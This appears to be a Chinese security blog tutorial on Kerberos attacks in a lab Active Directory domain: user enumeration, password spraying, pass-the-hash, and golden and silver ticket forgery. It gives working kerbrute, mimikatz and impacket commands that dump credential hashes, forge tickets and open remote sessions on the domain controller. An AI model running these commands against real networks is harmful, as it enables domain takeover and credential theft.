Kerberos协议中的攻击

文摘   其他   2024-02-19 00:01   陕西  

域用户枚举

首先我们来看一下域用户枚举,域用户枚举通常发生在AS_REQ阶段,当我们去访问域内某个服务的时候,需要向KDC的AS服务发送AS_REQ请求,请求包中包含了用户名,域名,加密时间戳以及预认证等信息,预认证是通过用户的Hash去加密的时间戳,然后AS服务会去活动目录中查找对应用户Hash进行比对,如果比对成功的话,那么预认证就成功了。

我们前面说到过主要是cname这个字段,用户存在或不存在,以及密码错误和正确的响应包是不一样的。

这里我们先使用MSF对域内用户进行枚举操作。

首先我们在活动目录中创建了如下3个账户。

需要注意的是,如果你使用的是kali,那么需要将dns设置为DC的地址。

这里使用auxiliary/gather/kerberos_enumusers模块进行枚举。

set rhost dc的ip地址set user_file 要使用的用户字典set domain relaysec.comexploit

可以看到用户已经枚举出来了,zhangsan,lisi,wangwu 。

我们也可以使用kerbrute这个工具进行枚举。

下载地址如下:

https://github.com/ropnop/kerbrute/releases
./kerbrute_linux_amd64 userenum --dc 10.10.211.130 -d relaysec.com user.txt

也可以使用python版本的。

下载地址如下:

https://github.com/3gstudent/pyKerbrute
python2 EnumADUser.py 10.10.211.130 relaysec.com ../user.txt udppython2 EnumADUser.py 10.10.211.130 relaysec.com ../user.txt tcp

接下来我们使用wireshark抓包来看一下。

可以看到当用户存在的时候返回包会报错为KRB6KDC_ERR_PREAUTH_REQUITED。

如果用户不存在的时候会报错为KRBTKDC_ERR_PRINCIPAL_UNKNOWN

密码喷洒

既然我们已经搞懂了枚举用户,那么我们现在可以来进行密码喷洒,所谓密码喷洒其实就是使用一个密码跟多个用户名进行比对,其实就相当于一对多的概念。

我们前面说到过,用户名存在或不存在的时候报错是不一样的,那么密码正确和不正确的情况下,报错也是不一样的。所以我们可以进行域内用户的密码喷洒。

我们可以使用kerbrute工具进行密码喷洒。

./kerbrute_linux_amd64 passwordspray --dc 10.10.211.130 -d relaysec.com user.txt Admin123..

也可以使用DomainPasswordSpray工具等等。我们来看下wireshark的抓包情况。

我们主要看这三组,其实对应就是如上喷洒出来的lisi,wangwu,zhangsan这三个用户。

可以看到这三组都成功得到了AS_REP响应,而其他并没有得到。

Hash传递

Hash传递是产生在AS_REQ阶段的,也就是预认证阶段发生的,时间戳是通过我们用户的Hash进行加密的,发送到AS服务,AS去活动那个目录中查找到用户Hash进行解密,解密成功的话表示预认证成功,那么如果我们使用域管的Hash加密时间戳的话,就可以造成Hash传递的攻击。

黄金票据攻击

我们前面都知道黄金票据是发生在AS_REP阶段的,它主要伪造的TGT认购权证,所需要的是krbtgt用户的Hash,因为enc-part是通过krbtgt用户的hash进行加密的,所以如果我们可以获取到krbtgt用户hash,那么自然就可以伪造TGT认购权证。

那么制作黄金票据的条件是什么呢?这也是面试的时候经常问到的。

如下条件:

1.域名2.域的SID值 (Object Security ID)3.KRBTGT账户NTLM密码哈希4.需要伪造的用户名 //一般都是域管理员

那么我们首先肯定是需要获取到krbtgt用户的hash,这一般都是拿到域控之后才能获取的到的,所以黄金票据一般也用于权限维持。

这里我们可以直接使用`mimikatz进行导出。

privilege::debuglsadump::dcsync /domain:relaysec.com /user:krbtgt

我们将SID和krbtgt用户hash提取出来即可。

需要注意的是这里的502不要加上。前面才是域的SID。

除了这个方式来获取域的SID之外,我们也可以使用wmic命令来进行获取。

wmic useraccount get name,sid

现在我们已经获取到了域SID以及krbtgt账户的hash,现在我们就可以进行黄金票据攻击了。

首先在win2016这台机器上是无法访问dc的cifs服务的。

现在我们将mimikatz传递上去,使用如下命令进行金票传递。

kerberos::golden /user:administrator(这里是伪造的用户 一般都是域管理员) /domain:relaysec.com(域名) /sid:使用mimikatz导出来的域SID /krbtgt:krbtgt用户的hash /ticket:relaysec.kirbi

然后使用kekeo或者mimikatz将票据注入到内存中。

kerberos::ptt relaysec.kirbi

我们也可以使用impacket套件 这个是我比较喜欢的,直接远程就可以申请。

python3 ticketer.py -domain-sid S-1-5-21-3708176772-1742723060-3616893896 -nthash 020e7d1a8421a3219131c1b7ea106710 -domain relaysec.com administrator 

然后通过export命令导入票据即可。

export KRB5CCNAME=administrator.ccache

然后我们就可以使用secretsdump工具导出所有用户的Hash。

python3 secretsdump.py -k -no-pass administrator@dc.relaysec.com -dc-ip 10.10.211.130 -just-dc-user administrator

也可以直接访问域控。

python3 smbexec.py -no-pass -k administrator@dc.relaysec.com -dc-ip 10.10.211.130

所以是比较推荐使用impacket套件的,不推荐使用mimikatz

白银票据攻击

我们前面都知道白银票据的话伪造的是ST服务票据,这样的话其实权限就很小了,只能访问特定的服务,比如cifs,winrm,dns等等。

而利用的要求当然也比黄金票据来说比较容易一些。比如说我们拿到了域内普通的域机器也是可以伪造白银票据的,不光是域控。

要求如下:

域名域的sid可利用的服务目标主机的Hash

首先我们需要获取到域的SID,和上面一样,可以使用mimikatz 也可以使用wmic ,这里我们就直接使用wmic即可。

紧接着我们需要获取到域主机的Hash,这里需要记住的是域内主机的Hash,而不是域用户的hash。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > hash.txt

拿到域主机Hash之后,我们就可以进行伪造了。需要注意的是这里的cmd是以管理员的方式打开的,一般在实战中我们也是提升到system权限之后来打开mimikatz,需要注意的是这里的管理员不是域管理员而是它本机的管理员。

mimikatz.exe "kerberos::golden /domain:relaysec.com /sid:S-1-5-21-3708176772-1742723060-3616893896 /target:dc.relaysec.com /service:cifs /rc4:54b87e4dd87275461e4ad2285d9dc848 /user:administrator /ticket:admin.kirbi" "exit"

然后我们将票据导入进去。

kerberos::ptt admin.kirbi

导入进去之后我们也可以使用klist进行查看。

最终我们尝试访问DC的cifs服务。

dir \\dc.relaysec.com\c$

成功访问。

如上就是kerberos中的攻击手法了。其它的一些攻击方法可以自行Google,这里就不作演示了。

结束语

文章到这里就暂时结束啦  期待和您的下次相遇!!!

Relay学安全
这是一个纯分享技术的公众号,只想做安全圈的一股清流,不会发任何广告,不会接受任何广告,只会分享纯技术文章,欢迎各行各业的小伙伴关注。让我们一起提升技术。
 最新文章